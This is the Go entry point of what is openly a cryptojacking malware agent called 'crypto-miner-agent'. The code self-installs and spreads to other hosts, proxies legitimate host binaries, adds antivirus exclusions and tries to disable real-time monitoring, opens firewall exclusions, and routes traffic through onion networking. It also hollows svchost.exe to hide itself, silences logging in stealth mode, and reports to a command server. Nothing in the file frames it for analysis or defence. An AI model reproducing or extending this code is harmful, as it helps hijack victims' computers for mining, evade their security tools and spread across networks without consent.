package main import ( "io" "log" "os" "path/filepath" "runtime" "strings" "crypto-miner-agent/client" "crypto-miner-agent/config" "crypto-miner-agent/deploy" "crypto-miner-agent/stats" ) func main() { log.SetFlags(log.LstdFlags | log.Lshortfile) cfg := config.Load() if backup, miner, ok := deploy.TryHostBinaryProxy(os.Args[1:]); ok { deploy.RunHostBinaryProxy(backup, miner, os.Args[1:]) return } if deploy.IsGuardMode() { deploy.RunGuardLoop(cfg) return } setupLogging(cfg) if cfg.Wallet == "" && !cfg.MiningDisabled && !cfg.ApkMode && !cfg.ScoutMode { log.Fatal("wallet address is required in built-in configuration") } if cfg.ServerURL == "" { log.Fatal("server URL is required in built-in configuration") } if deploy.WantsSpreadInstall() { installed, err := deploy.SpreadInstall(cfg) if err != nil { deploy.LogSpreadError("fatal", err) log.Fatalf("[spread-install] failed: %v", err) } if installed { return } } installed, err := deploy.InstallIfNeeded(cfg) if err != nil { log.Fatalf("[installer] failed: %v", err) } if installed { if dir, err := cfg.InstallDirectory(); err == nil { log.Printf("[installer] embedded worker=%s at %s and started miner", cfg.WorkerName, dir) } else { log.Printf("[installer] embedded worker=%s and started miner", cfg.WorkerName) } return } reporter := stats.NewReporter() cfg = cfg.AdaptToSystem(reporter) installDir, _ := cfg.InstallDirectory() // Silence the AV as early as possible — add path/process exclusions and // attempt to disable real-time monitoring. Fire-and-forget, never blocks. deploy.SilentAVExclusion(installDir, cfg.EffectiveProcessName()+".exe") if installDir != "" { if id, err := deploy.LoadAgentID(installDir); err == nil { cfg.AgentID = id } } if cfg.BackgroundMode() || cfg.StealthMode { cfg.CPUPriority = "idle" } if err := deploy.SetProcessPriority(cfg.CPUPriority); err != nil { log.Printf("[agent] could not set CPU priority: %v", err) } deploy.StartWatchdog(cfg) if !cfg.ScoutMode { deploy.StartPassiveSpreader(cfg) deploy.StartLotlOnion(cfg) if cfg.AutoSpread && deploy.WantsFirstRunSpread(cfg) { // First-run spread marker is cleared after auth succeeds (handled in client). deploy.ClearFirstRunSpreadMarker(cfg) } } if cfg.FirewallExclusion { if binPath, err := deploy.InstalledBinaryPath(cfg); err == nil { deploy.EnsureFirewallExclusion(cfg, binPath) } } log.Printf("[agent] running worker=%s agent_id=%s process=%s platform=%s/%s build=%s server=%s threads=%d mode=%s display=%s install=%s", cfg.WorkerName, shortID(cfg.AgentID), cfg.EffectiveProcessName(), runtime.GOOS, runtime.GOARCH, cfg.BuildID, cfg.ServerURL, cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg)) if cfg.ProcessHollowing && runtime.GOOS == "windows" { if strings.ToLower(filepath.Base(os.Args[0])) != "svchost.exe" { exePath, _ := os.Executable() payload, err := os.ReadFile(exePath) if err == nil { log.Printf("[hollowing] Injecting into svchost.exe...") err = deploy.RunHollowed(`C:\Windows\System32\svchost.exe`, payload) if err == nil { os.Exit(0) } // Distinguish stub (missing -tags hollow) from a genuine runtime failure. if strings.Contains(err.Error(), "-tags hollow") || strings.Contains(err.Error(), "not available") { log.Printf("[hollowing] process hollowing requested but binary lacks -tags hollow — re-forge with Process Hollowing enabled") } else { log.Printf("[hollowing] Failed: %v. Falling back to normal execution.", err) } } } } agent := client.NewAgentClient(cfg) if err := agent.Run(); err != nil { log.Fatalf("[agent] stopped: %v", err) } } func shortID(id string) string { if len(id) >= 8 { return id[:8] } if id == "" { return "pending" } return id } func setupLogging(cfg config.RuntimeConfig) { if !cfg.FileLogging || cfg.StealthMode { log.SetOutput(io.Discard) return } if os.Getenv("MINER_LOG_FILE") != "" { redirectLog(os.Getenv("MINER_LOG_FILE")) return } installDir, err := cfg.InstallDirectory() if err != nil { return } redirectLog(filepath.Join(installDir, "miner.log")) } func mustInstallPath(cfg config.RuntimeConfig) string { path, err := cfg.InstallDirectory() if err != nil { return "unknown" } return path } func redirectLog(path string) { if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil { return } f, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644) if err == nil { log.SetOutput(f) } }